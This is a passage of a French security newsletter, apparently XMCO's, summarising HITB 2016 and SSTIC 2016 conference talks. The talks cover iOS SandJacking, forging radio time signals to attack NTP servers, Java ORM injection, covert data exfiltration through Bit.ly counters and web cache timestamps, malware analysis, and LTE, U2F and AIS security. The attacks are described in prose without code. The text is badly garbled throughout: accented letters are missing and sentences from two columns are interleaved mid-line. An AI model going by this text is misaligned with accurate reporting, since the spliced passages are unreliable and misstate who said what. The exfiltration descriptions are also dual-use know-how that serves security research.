Cette nouvelle mthode implmente dans Tlescope de prendre le contrle de lapplication. Nanmoins, lins-
pourrait tre applique dautres protocoles. Ce proof of tallation seffectue grce au cble reliant lappareil iOS au
concept montre quil est possible de raliser des attaques poste de travail et par consquent, ncessite un accs phy-
de type hypervisor-in-the-middle. sique lappareil et la connaissance du code de dverrouil-
lage. Ce type dattaque est donc trs cibl (par exemple
pour espionner sa femme, ses enfants, etc.). Les lieux dat- 41

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
HITB 2016

taques idaux sont les rparateurs de tlphones, baptiss Time is On My Side: Forging a Wireless Time Signal to
loccasion les Pawn Store. Attack NTP Servers
Yuwei Zheng et Haoqi Shan
Cette vulnrabilit a partiellement t corrige par Apple.
En effet, depuis iOS 8.3, il nest plus possible de remplacer
une application sur un appareil iOS par une version modi-
+ Slides
http://conference.hitb.org/hitbsecconf2016ams/wp-
fie en indiquant le mme numro de bundle (paquet). content/uploads/2015/11/D2T1-Yuwei-Zheng-and-Haoqi-
Cependant, Tamir a dcouvert que son attaque est toujours Shan-Forging-a-Wireless-Time-Signal-to-Attack-NTP-Ser-
ralisable et a cr un outil baptis SandJacking. vers.pdf

Deux chercheurs de la socit Qihoo360 ont dmontr quil


tait possible de changer lheure dun serveur NTP (Network
Californie, a dcouvert de nouvelles Time Protocol) sur une longue distance avec peu de moyen.
attaques permettant dinstaller
des applications malveillantes sur un Les chercheurs sont dans un premier temps revenus sur le
appareil iOS non jaibreak. Lune des fonctionnement du protocole NTP. Ce protocole est utilis
vulnrabilits exploites nest toujours pas pour synchroniser le temps entre les machines. NTP utilise
un systme hirarchique o le premier niveau (Stratum 0)
corrige par Apple. est la rfrence. La couche suivante (Stratum 1, Stratum 2,
etc.) est synchronise sur la prcdente, mais galement
avec les appareils de la mme couche pour des questions
Apple a en effet corrig la vulnrabilit dans le processus de rsilience et de stabilit.
dinstallation, mais pas dans le processus de restauration.
Lattaquant est en mesure de crer une sauvegarde de Les chercheurs ont ensuite montr quun attaquant tait en
lappareil, de supprimer ensuite lapplication lgitime pour mesure de modifier le temps de la couche 1 en forgeant un
installer lapplication malveillante et enfin de restaurer la signal radio. La modification du temps du serveur peut soit
sauvegarde sur lappareil. tre ignore soit conduire au crash du serveur NTP. Dans le
but de mener une attaque avec succs, lattaquant peut
Tamir a bien prcis que cette vulnrabilit donne accs uni- modifier jusqu' 1000 secondes par requte et doit envoyer
quement la sandbox de lapplication. La sandbox beaucoup de requtes pour que lune delles soit prise en
dune application contient les lments suivants : compte (environ 6 minutes dattaque).

+ Les documents, les fichiers et la base SQLite; Un appareil de Proof of concept a t montr lors de

+ Les cookies de sessions; la prsentation. Il permet denvoyer un faux signal GPS et


un signal radio basse frquence (JJY). La dmonstration a

+ Les prfrences; permis de modifier lheure dun serveur NTP destine un


tlphone. Avec un signal amplifi, lattaque peut porter

+ Les fichiers temporaires. jusqu 2 km.

Les deux orateurs ont constat que de nombreux serveurs


Une dmonstration a t ralise avec lapplication Skype. NTP utilisaient le GPS pour heure de rfrence avec une
Un attaquant souhaitant accder plus de donnes devra antenne gnralement situe sur le toit du btiment.
crer plusieurs applications malveillantes. Lattaque fonctionnerait avec les appareils dploys en
Chine, en Amrique du Nord et en Europe. Nanmoins,
Il nest pas trivial de se rendre compte quune application les chercheurs ont affirm que les fabricants ne semblent
nest pas lgitime puisquil faut explorer les paramtres sys- pas vraiment concerns et inquiets par ce type dattaque.
tme de lappareil afin de constater que lapplication nest Modifier lheure dun serveur NTP peut avoir de lourdes
pas signe par le certificat original. De plus, en modifiant le consquences notamment sur les mcanismes dauthenti-
numro de version avec un numro trs lev, lapplication fication (utilisation de mots de passe ou certificats expirs
malveillante ne sera jamais mise jour. par exemple).
La vulnrabilit a t reporte et confirme en janvier 2016
Apple. Lorsque le correctif sera dploy, Tamir publiera
son outil SandJacker qui automatise le processus de restau-
ration avec une application malveillante.
42
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
New Methods for Exploiting ORM Injections in Java Ap- ment sur des fonctionnalits sur interfaces qui supportent la
plications ralisation de code SQL directement depuis les ORM, mais
Mikhail Egorov et Sergey Soldatov galement des particularits de ces ORM dont les analyses
syntaxiques diffrent des SGDB.
+ Slides
https://conference.hitb.org/hitbsecconf2016ams/mate-
rials/D2T2%20-%20Mikhail%20Egorov%20and%20Ser-
+ EclipseLink ORM dispose d'une mthode FUNCTION
ou FUNC permettant d'appeler des mthodes du SGDB
gey%20Soldatov%20-%20New%20Methods%20for%20 sous-jacent. L'objectif principal est de permettre aux
Exploiting%20ORM%20Injections%20in%20Java%20Appli- dveloppeurs d'appeler depuis le moteur JPQL des fonc-
cations.pdf tions SQL existantes qui n'existeraient pas encore en JPQL.
Or il est galement possible d'utiliser cette mthode pour
Mikhail Egorov et Sergey Soldatov, chercheurs en requter non pas une mthode du SGDB mais une clause
scurit, ont prsent les techniques d'injection de code SQL entire.
au sein des ORM les plus populaires pour dvelopper des
applications. Les Object Relationnal Mapping (ORM) sont des
librairies trs utilises par les dveloppeurs afin de
+ Comme dans l'exemple illustr ci-dessus, Oracle
TopLink dispose d'une mthode permettant d'effectuer
requter des bases de donnes et manipuler leurs entres des clauses SQL directement depuis le moteur JPQL. Cette
sous forme dobjets. Le principe de base est de crer une base mthode est la fonction SQL.
de donnes oriente objet partir d'une base de donnes
relationnelle en dfinissant des correspondances entre les
donnes de la base de donnes et les objets du langage
+ La mthode d'injection prsente pour Apache
OpenJPA ORM repose sur un dfaut de traitement des
utilis. simples quotes par le moteur JPQL. En effet, ce dernier
substitue les squences de deux guillemets simples par une
seule. Par consquent, aprs sa substitution le moteur SQL
obtient une requte altre qui est syntaxiquement valide.

Parmi les ORM, les plus populaires,


les deux prsentateurs se sont concentrs
sur les injections ciblant les ORMs Java
suivants EclipseLink (Glassfish),
TopLink (Oracle WebLogic), Hibernate ORM
(WildFly and Jboss) et OpenJPA (TomEE and
IBM WAS)
Pour exemple, l'interface de programmation Java
Persistence API (JPA) est gnralement utilis pour les De mme, le moteur d'Apache OpenJPA interprte les
applications dveloppes en Java afin d'organiser des doubles quotes comme des simples. Encore une fois, aprs
donnes relationnelles dans des applications. Un des l'interprtation par le moteur JPQL, le moteur SQL obtient
objectifs de cette mthodologie est de s'abstenir de raliser une requte altre qui est pourtant valide.
des requtes SQL manuellement. Par nature, les injections
SQL basiques ne s'appliquent donc pas aux ORM, car les
donnes reues en entres sont types et paramtres.
+ Enfin 5 mthodes d'injection pour Hibernate SQL ont t
prsentes et reposent sur un dfaut d'chappement des
Toutefois, le manque de validation des donnes dans les guillemets simples : en HQL le moteur MySQL, $-QUOTED-
codes des dveloppeurs permet d'accder quand mme STRING (pour PostgreSQL et H2), les Magic fonctions (pour
au contenu des bases de donnes en injectant du code PostgreSQL et Oracle), sur encodage Unicode (pour MS-SQL
propre chaque ORM. Ces injections sont toutefois plus et H2) et les constantes Java (tous les SGDB l'exception
complexes identifier que de simples injections SQL, car aucun de MySQL).
outil aussi puissant que SQLMap ne permet de les mettre en
vidence aisment.
In Plain Sight: The Perfect Exfiltration
L'interface de programmation JPA utilise pour les ORM Amit Klein et Itzik Kotler
dispose galement de deux sous langages : JPQL et HQL.
Cest au travers de ces deux interfaces que les injections
ORM sont exploites. C'est pourquoi ces injections sont
+ Slides
https://conference.hitb.org/hitbsecconf2016ams/ma-
galement appeles injection JPQL ou injection HQL. terials/D2T1%20Itzik%20Kotler%20and%20Amit%20
Klein%20-%20The%20Perfect%20Exfiltration%20Tech-
Parmi les ORM, les plus populaires, les deux prsentateurs nique.pdf
se sont concentrs sur les injections ciblant les ORMs Java
suivants EclipseLink (Glassfish), TopLink (Oracle WebLogic), Deux chercheurs de la socit SafeBreach ont prsent
Hibernate ORM (WildFly and Jboss) et OpenJPA (TomEE and leur analyse sur les diffrentes techniques d'exfiltration de
IBM WAS). Les injections prsentes reposent principale- donnes dun rseau dune organisation (entreprise, 43
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
HITB 2016

administration, etc.). cependant tre compromise si le service Bit.ly venait tre


Alors que la plupart des attaquants ont pour habitude bloqu. Dautres compteurs tels que ceux de YouTube ou
dexfiltrer des gigaoctets de donnes, de simples StackOverflow peuvent galement tre utiliss.
informations telles que des cls cryptographiques, des mots
de passe ou extraits de documents peuvent galement Une autre mthode d'exfiltration parfaite daprs les
suffire aux attaquants pour compromettre des stratgies et des chercheurs consiste utiliser les caches HTTP des serveurs
dcisions cls. web. En effet, le temps de rafrachissement du cache dune
page web peut tre obtenu dans les enttes des rponses
HTTP. Il est ainsi possible dobtenir le mme comportement
dcrit prcdemment avec Bit.ly, mais en utilisant cette
fois-ci nimporte quel site internet populaire comme un site
de-commerce. Lexpditeur et le destinataire ont juste
se mettre daccord sur une page bien prcise dun produit
peu populaire et utiliser la date de mise jour du cache
de la page web. Un exemple a t montr sur les sites
dIKEA, EasyJet et Zap.co.il. La cl de cette mthode repose
sur la synchronisation temporelle entre lenvoyeur et le
destinataire.

Cette mthode dexfiltration est ainsi quasi ind-


tectable puisque les requtes HTTP sont tout fait
Les techniques analyses par les chercheurs concernent
lgitimes et pointent sur des sites trs frquents. Les
les attaques trs cibles o lattaquant sest dj fait une
attaquants doivent sassurer que les changes seffectuent
place sur le rseau interne de lorganisation. Les experts ont
pendant les heures ouvres. En revanche, les chercheurs
ainsi identifi 10 commandements qui sont les conditions
ont admis que la technique pourrait ne pas fonctionner si le
ncessaires pour une exfiltration parfaite. En voici quelques
site web utilise plusieurs caches bass par exemple sur la
exemples :
golocalisation de ladresse IP du visiteur.

+ Scurit et modularit : la technique doit adhrer


au principe de Kerckhoffs cest dire tre scurise en
CommSec Track: Park This Yet Another Parking Meter
utilisant du chiffrement reconnu sans mthode de scurit
Talk
par lobscurit.
Paul Moreno

+ Utiliser des protocoles web ou driv uniquement


(HTTP, HTTPS, DNS).
+ Slides

+ Ne pas utiliser des canaux de transmission dinforma-


tions traditionnels qui pourraient tre surveills (pas den-
http://conference.hitb.org/hitbsecconf2016ams/wp-
content/uploads/2016/03/D2-COMMSEC-Paul-Moreno-
Park-This-Yet-Another-Parking-Meter-Talk.pdf
voi de mail, denvoi vers un forum ou vers des services de
partages de fichiers, etc).
La prsentation de Paul Moreno concernait les infrastruc-

+ Prendre en compte le fait que les flux TLS sont


surveills.
tures des systmes de parking et plus prcisment
lanalyse par rtro-ingnierie dun parcmtre intelligent
trs populaire outre Atlantique. Ce nouveau type de parc-
mtre prend dsormais en compte les paiements par tl-
Les chercheurs ont dvelopp des mthodes permettant
phone, NFC/RFID et par carte bleue.
d'exfiltrer quelques bits de donnes sans lever aucune
suspicion. Ce type de technique convient uniquement pour
Le chercheur sest donc rendu compte que ce nouveau type
lextraction dune trs faible quantit de donnes. Lune
de systme est potentiellement connect Internet et
des mthodes prsentes consiste utiliser un service
serait alors vulnrable comme nimporte quelle autre
de raccourcissement dURL tel que Bit.ly qui propose des
application.
statistiques sur les nombres de visites de lURL. Ainsi les
attaquants peuvent envoyer des bits 0 et 1 en visitant
Pour conclure, le chercheur explique quil a essay de
certaines URL un instant spcifique. Le receveur est
contacter les personnes en charge des produits auprs
ainsi capable didentifier si lURL a t accde ou non
de la socit IPS Group Inc utilisant ce produit et certifi
un moment prcis. Cette mthode est discrte, mais peut
44 vendeur PCI/DSS niveau 1, pour leur fournir le rsultat de
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
ses recherches, mais sans succs. Rfrences

Plus de rsultats devraient aboutir dans les prochains


mois aprs les travaux de recherche sur le micro-logiciel
embarqu dans le parcmtre.
+http://photos.hackinthebox.nl/
+http://www.hitb.org/

CLOSING KEYNOTE The Bad Neighbor: Hardware Side


Channels in Virtualized Environments
Sophia DAntoine

+ Slides
https://conference.hitb.org/hitbsecconf2016ams/mate-
rials/CLOSING%20KEYNOTE%20-%20Sophia%20D%20An-
toine%20-%20Hardware%20Side%20Channels%20in%20
Virtualized%20Environments.pdf

Enfin, cette septime dition de la HITB sest conclue par


une prsentation de Sophia DAntoine sur le thme des
attaques par canaux cachs ou canaux auxiliaires sur les
environnements virtualiss. Bien que techniquement
possible dans des conditions bien particulires, ce type
dattaque reste complexe et sophistique mettre en
uvre. De plus, sur des environnements Cloud, il est impos-
sible de cibler lavance une victime en particulier, car la
connaissance de lenvironnement ne permet pas de
prdire avec qui ou quoi les composants matriels utiliss
sont partags.

45
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
> Confrences scurit

SSTIC 2016
par Julien TERRIAC, Damien GERMONVILLE,
Arnaud REYGNAUD et Antonin AUROY

> Jour 1 - mercredi 1er juin +HARDEN_IPC, un durcissement des objets IPC
Confrence d'ouverture
Brad Spengler
+DENYUSB, un systme pour dsactiver la reconnaissance
des priphriques USB aprs le boot (ou pour la dsactiver/
activer temporairement)
+ Slides :
https://grsecurity.net/SSTIC2016.pdf Il a ensuite parl du systme RAP (Reuse Attack Protector)
qui permet de rendre trs compliqu, voire impossible, le
Brad Spengler est le dveloppeur du patch grsecurity qui ROP (Return Oriented Programming). RAP est implment
permet de durcir le noyau Linux. Dans un premier temps, comme un plugin de GCC qui va limiter les fonctions qui
il a prsent les avancements raliss depuis 2012 sur peuvent tre appeles partir d'une certaine place, ainsi
grsecurity : que les endroits auxquels le flot d'excution peut retourner
aprs avoir atteint la fin d'une fonction.
+ KSTACKOVERFLOW, un systme afin d'liminer les stack
overflow sous les architectures 64bits Dans un second temps, Brad Spengler a parl de l'tat
de la scurit informatique. Avec un regard assez critique
+ RANDSTRUCT, une mesure afin de rendre alatoire
l'organisation des structures critiques en mmoire
l'gard des pratiques du milieu, il a expliqu comment,
selon lui, l'industrie ne prend pas les bonnes mesures de
scurit et a les mauvaises priorits. D'aprs lui, les
46
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
acteurs de l'industrie devraient s'occuper d'implmenter de Gunpack : un outil gnrique d'unpacking de malwares
vraies mesures de scurit au lieu de tenter de mitiger les Julien Lenoir
problmes, c'est--dire concrtement qu'il faudrait
liminer des classes de vulnrabilits plutt que d'enchaner
indfiniment les corrections de bugs.
+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
gunpack/SSTIC2016-Slides-gunpack-lenoir.pdf

Dmarche d'analyse collaborative de codes malveillants


Adrien Chevalier, Stfan Le Berre, Tristan Pourcelot
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P03.
mp4
+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/de- + Article complet :
marche_d_analyse_collaborative_de_codes_malveill/SS- https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
TIC2016-Slides-demarche_d_analyse_collaborative_de_co- gunpack/SSTIC2016-Article-gunpack-lenoir.pdf
des_malveillants-chevalier_le-berre_pourcelot.pdf
Julien Lenoir nous a prsent Gunpack, un outil d'unpacking
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P02.
de malwares, dvelopp en interne dans le groupe
Airbus. L'outil est prvu pour les binaires Windows 32bits et
mp4 utilise le langage de programmation Python.

+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/de- Devant le volume important de malwares
marche_d_analyse_collaborative_de_codes_malveill/ analyser et le manque de ressources
SSTIC2016-Article-demarche_d_analyse_collaborative_de_
codes_malveillants-chevalier_le-berre_pourcelot.pdf
humaines, les agents de l'ANSSI
ont conu une plateforme nomme
Devant le volume important de malwares analyser et le Polichombr permettant de traiter ce volume
manque de ressources humaines, les agents de l'ANSSI ont de faon efficace
conu une plateforme nomme Polichombr permettant de
traiter ce volume de faon efficace. Certains malwares tant
simplement des versions modifies d'autres malwares, il Gunpack fonctionne en instrumentant l'OS de l'intrieur et
peut tre utile de faire le travail d'analyse en tenant compte collecte le maximum d'informations sur la vie du processus
des connaissances dj collectes sur les autres malwares. tudi.
La nouvelle plateforme propose donc des fonctionnalits
de stockage, de centralisation d'informations, de travail
collaboratif et d'automatisation.

Plutt que de se baser sur un type d'informations


particulier, l'outil se veut gnraliste et permet aux utili-
Afin de pouvoir classifier automatiquement les malwares, sateurs de le personnaliser en dveloppant leurs propres
les auteurs ont conu un algorithme nomm Machoc qui se scripts d'unpacking.
base sur les caractristiques du flot de contrle du malware,
c'est--dire sur le graphe des instructions assembleur tel
que l'on peut le voir avec le logiciel IDA. Le rsultat est
ensuite hach avec un algorithme particulier, et ce hash
peut tre compar avec d'autres hashes pour valuer la
ressemblance du malware avec d'autre prcdemment
analyss et enregistrs dans la plateforme, ce qui permet
d'aider le reverseur dans son travail d'analyse.
47
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
SSTIC 2016

Cryptanalyse en bote noire de chiffrement propri- Eurisko : dveloppement dune carte lectronique s-
taire: tude de cas curise
Pierre Capillon Arnaud Ebalard, Arnaud Fontaine, David Diallo, Jean-Pierre
Flori, Karim Khalfallah, Mathieu Renard, Ryad Benadjila
+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/ + Slides :
cryptanalyse_en_boite_noire_de_chiffrement_proprie/ https://www.sstic.org/media/SSTIC2016/SSTIC-actes/euris-
SSTIC2016-Slides-cryptanalyse_en_boite_noire_de_chiffre- ko/SSTIC2016-Slides-eurisko-ebalard_fontaine_diallo_flo-
ment_proprietaire-capillon.pdf ri_khalfallah_renard_benadjila.pdf

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P04.
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P05.
mp4 mp4

+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/cryp-
+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/euris-
tanalyse_en_boite_noire_de_chiffrement_proprie/SS- ko/SSTIC2016-Article-eurisko-ebalard_fontaine_diallo_flo-
TIC2016-Article-cryptanalyse_en_boite_noire_de_chiffre- ri_khalfallah_renard_benadjila.pdf
ment_proprietaire-capillon.pdf
Plusieurs membres de l'ANSSI nous ont prsent com-
Pierre Capillon nous a prsent le fruit de 6 semaines de ment ils ont dvelopp une carte informatique scurise.
rtro-ingnierie sur un firmware chiffr et obfusqu de 18 Cette carte contient une chane de dmarrage scurise
mga-octets. via un composant scuris certifi EAL5+. L'EAL (Evaluation
Assurance Level) est un systme d'valuation dfini dans
les Critre Communs.

volution et d-volution des systmes multimdia


embarqus
Franois Pollet, Nicolas Massaviol

+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/evo-
lution_et_d-volution_des_systmes_multimdia_emba/
SSTIC2016-Slides-evolution_et_d-volution_des_systmes_
multimdia_embarqus-pollet_massaviol.pdf

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P06.
Il est trs critique l'gard des constructeurs qui dve- mp4

+
loppent leurs propres algorithmes de chiffrement et nous
dmontre comment il russit dterminer le format du Article complet :
firmware: il sagit dun binaire ELF de 42 Mo, contenant un https://www.sstic.org/media/SSTIC2016/SSTIC-actes/evo-
OS temps rel complet. Enfin, le reverse du firmware aura lution_et_d-volution_des_systmes_multimdia_emba/
permis didentifier des vulnrabilits concrtes (qui nont SSTIC2016-Article-evolution_et_d-volution_des_systmes_
pas t communiques par lorateur). multimdia_embarqus-pollet_massaviol_1.pdf

travers deux cas concrets de vhicules qu'ils ont audi-


ts dans le cadre de leur travail au sein de Thals, Franois
Pollet et Nicolas Massaviol nous ont prsent leurs
recherches sur la scurit des systmes multimdia
embarqus dans les voitures. Ils nous ont montr comment
48 les dfauts de conception des bus CAN (Controller Area

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Network) rendent possible le contrle de fonctionnalits ganisation du code des gros programmes, et ncessite de
critiques de la voiture telles que le freinage travers l'ex- faire un compromis sur la scurit afin de ne pas sacri-
ploitation des botiers multimdias. fier les performances. Florent Saudel prend l'exemple du
projet WebKit dans lequel certaines classes peuvent conte-
nir jusqu' 300 classes filles, ce qui rend la vrification du
type de l'objet compliqu ou coteux en performance.

Composants logiciels vrifis en F* : Poly1305


Benjamin Beurdouche, Jean Karim Zinzindohoue

+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/logi-
ciels_verifies_f_star_poly1305/SSTIC2016-Slides-logiciels_
verifies_f_star_poly1305-beurdouche_zinzindohoue.pdf

USB Toolkit
Benoit Camredon
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P09.
mp4
+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/usb_
toolkit/SSTIC2016-Slides-usb_toolkit-camredon.pdf

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P07.
mp4

+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/usb_
toolkit/SSTIC2016-Article-usb_toolkit-camredon.pdf

Benoit Camredon nous a prsent son USB toolkit, un proxy


USB matriel qui lui permet d'analyser le flux USB entre un
priphrique et un systme, ce qui est utile lorsque l'on ne
matrise pas le systme. L'USB toolkit propose notamment Jean Karim Zinzindohoue nous a prsent le langage
un pare-feu USB, un keylogger, une fonctionnalit de rejeu F* (prononcer "f star"). Ce langage fonctionnel est trs
de capture USB, ainsi qu'une API qui permet de crer ses fortement typ et les fonctions utilisent un systme de
propres scripts pour analyser le flux USB. prcondition et postcondition qui permet de vrifier la
correction fonctionnelle du code, tel que par exemple les
spcifications mathmatiques pour les fonctions
Confusion de type en C++ cryptographiques. Jean Karim nous prsente
Florent Saudel ensuite un exemple d'utilisation de F* appli-

+
qu l'algorithme Poly1305 afin d'en faire une
Slides : implmentation dont la fiabilit est mathmatiquement
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/ prouve.
confusion_type_cpp/SSTIC2016-Slides-confusion_type_
cpp-saudel.pdf
Aprs avoir analys les communications
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P08.
rseau du jeu avec le logiciel Wireshark,
puis avoir fait de la rtro-ingnierie
mp4 sur le binaire du jeu, Ivan Kwiatkowski
est parvenu crire un mulateur et
Florent Saudel nous a prsent comment l'exploitation
dcompilateur du bytecode utilis pour le jeu
d'un type de vulnrabilit peu connu, la confusion de type,
permet d'arriver jusqu' l'excution de code arbitraire. afin d'en retrouver la source.
Cette faiblesse est lorigine de 6 vulnrabilits depuis
dbut 2016.
F* permet notamment de se protger contre les
Cette vulnrabilit provient de la conversion (casting) d'ob- dpassements mmoire, les integer overflow, et de vrifier
jets dans un autre type d'objets (appel polymorphisme que les chemins d'excution de code sont indpendants des
dans le paradigme de la programmation oriente objet). secrets.
Cette faille est trs rpandue ce qui complexifie de l'or- 49
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
SSTIC 2016

My friends botnet: How to use your friends to perform Un FizzBuzz pour le cyber
Cyber Int ? Eric Jaeger, Olivier Levillain
Amaury Leroy
+ Vido :
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P10.
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P12.
mp4
mp4

Amaury Leroy nous a racont sa qute pour un systme de


+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/fizz-
crawling de l'internet, et nous prsente sa solution. Aprs buzz_cyber/SSTIC2016-Article-fizzbuzz_cyber-jaeger_levil-
avoir essay sans succs sur Amazon, un VPS l'tranger lain.pdf
ou encore Tor, il n'a pas pu aboutir un systme efficace
cause de problmes de limitations de requtes ou de Deux recruteurs de l'ANSSI, Eric Jaeger et Olivier Levillain,
performances. Sa solution est d'utiliser un rseau de Ras- ont prsent une mthode novatrice afin de mener des
pberry Pi, distribu chez ses amis, afin d'effectuer les re- entretiens d'embauche, qu'ils nomment "Cyber FizzBuzz",
qutes et de contourner les limitations qu'il a prcdem- en rfrence l'exercice "FizzBuzz" communment utilis
ment rencontres. pendant les sances de recrutement de programmeurs.
Certaines questions semblent ncessiter des connaissances
relativement pointues dans certains domaines, mais en
Broken Synapse ralit c'est l'tat d'esprit de la personne qui est valu et
Ivan Kwiatkowski non les connaissances brutes.

+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
broken_synapse/SSTIC2016-Slides-broken_synapse-kwiat- > Jour 2 - jeudi 2 juin
kowski.pptx
A first glance at the U2F protocol
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-01_P11.
Florian Maury, Mickal Bergem

mp4 + Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/a_
+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
first_glance_at_the_u2f_protocol/SSTIC2016-Slides-a_first_
glance_at_the_u2f_protocol-maury_bergem_1.pdf
broken_synapse/SSTIC2016-Article-broken_synapse-kwiat-
kowski.pdf + Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P01.
Ivan Kwiatkowski nous a prsent comment lexploitation mp4
de vulnrabilits au sein du jeu vido Froken Synapse lui a
permis d'augmenter ses chances de gagner lors de parties
contre d'autres utilisateurs en ligne. Aprs avoir analys les
+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/a_
communications rseau du jeu avec le logiciel Wireshark, first_glance_at_the_u2f_protocol/SSTIC2016-Article-a_
puis avoir fait de la rtro-ingnierie sur le binaire du jeu, first_glance_at_the_u2f_protocol-maury_bergem.pdf
il est parvenu crire un mulateur et dcompilateur du
bytecode utilis pour le jeu afin d'en retrouver la source. Les deux orateurs ont expos le rsultat de leur tude
du protocole U2F (Universal Second Factor) dont les
Il a ensuite pu crire son propre script qui a t charg dans spcifications ont t tablies par la FIDO Alliance. L'un
le jeu et qui lui a permis de le modifier afin de lui procurer des objectifs d'U2F est de compenser la faiblesse des se-
un avantage. conds facteurs d'authentification (comme les codes de
scurit envoys par SMS) face aux attaques de phishing, en
permettant de se reposer sur une solution matrielle telle
qu'une cl USB.
U2F prvoit galement la possibilit de dtecter les
attaques de type Man-in-the-Middle.
50
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Leur tude qui semble tre la premire ralise sur Les constructeurs ont t avertis et malgr le peu de
ce nouveau protocole rvle que du point de vue des transparence envers les chercheurs, ont dvelopp les
spcifications, celui-ci remplit ses objectifs. correctifs de scurit. Le dploiement de ces derniers reste
nanmoins laborieux...

Mthodologie d'extraction de signatures issues des si-


gnaux AIS
Erwan Alincourt, Pierre-Michel Ricordel

+ Slides :
N/A

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P03.
mp4

+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
mthodologie_dextraction_de_signatures_issues_des_s/SS-
Cependant, les implmentations actuelles (pour la plupart TIC2016-Article-mthodologie_dextraction_de_signatures_
exprimentales) ne suivent pas les spcifica- issues_des_signaux_ais-alincourt_ricordel.pdf
tions. De plus, le protocole est encore jeune. Sa
fiabilit n'a donc pas encore t prouve Dans l'univers naval, AIS (Automatic Identification System)
contrairement aux autres schmas d'authentification forte est un systme de communication permettant notamment
tels que les TOTP (Time-based One-Time Password) ou la golocalisation des bateaux en mer. Lors de sa concep-
encore les certificats client. tion, la scurit des communications n'a pas t prise en
considration rendant AIS vulnrable l'interception et
l'altration de donnes. Ainsi, un attaquant disposant du
How to not break LTE crypto matriel ncessaire peut par exemple usurper l'identit
Benoit Michau, Christophe Devine d'un navire ou encore relayer une position incorrecte pour
tromper les autorits.
+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/how_
to_not_break_lte_crypto/SSTIC2016-Slides-how_to_not_
break_lte_crypto-michau_devine.tgz

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P02.
mp4

+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/how_
to_not_break_lte_crypto/SSTIC2016-Article-how_to_not_
break_lte_crypto-michau_devine.pdf

Aujourd'hui, le chiffrement des communications entre des


terminaux mobiles 4G repose sur la norme LTE (Long Term
Evolution). Il vise notamment protger les informations
sensibles telles que l'IMSI (International Mobile Subscriber Pour les orateurs, le dfi relever aujourd'hui est
Identity) et le TMSI (Temporary Mobile Subscriber Identity) d'identifier les signaux AIS illgitimes. Cependant,
et assurer l'identit d'une antenne lors de l'tablissement l'implmentation actuelle de la couche logicielle ne le
d'une connexion celle-ci. permet pas de manire fiable. Forts de ce constat, les
deux chercheurs ont dcid de s'appuyer sur la couche
D'aprs les orateurs, LTE dfinit un modle de scurit physique. L'ide est d'analyser les diffrents signaux mis pour
et une architecture robustes. Pourtant, leurs recherches identifier et distinguer leur signature et ainsi discriminer les
dmontrent que l'implmentation du standard au signaux illgitimes.
sein de certains modems laisse dsirer. En effet, les
chercheurs ont t en mesure d'identifier des vulnrabili-
ts pouvant porter atteinte la confidentialit des donnes
personnelles.

51
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
SSTIC 2016

Comparaisons et attaques sur HTTP2 mp4


Georges Bossert
Stphane Duverger nous prsente AppVsWild : un mca-
+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/com-
nisme de protection d'excution d'application bas sur
l'hyperviseur Ramooflax. Le but de l'outil ? Protger une
paraisons_attaques_http2/SSTIC2016-Slides-comparai- application s'excutant en environnement hostile, sans
sons_attaques_http2-bossert.pdf modifier ni recompiler cette dernire.

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P04.
mp4

HTTP2, bas sur SPDY (propos par Google pour corriger la


latence de HTTP1.1) commence s'installer discrtement
sur le web. En effet, le successeur du protocole le plus utilis
d'Internet est dj support par Google, Wikipdia, Amazon
et d'autres gants de la toile. Les principaux serveurs web
et navigateurs proposent galement une implmentation.

Confrence invite : volution des techniques d'at-


taques de circuits intgrs
Olivier Thomas

+ Slides :
N/A

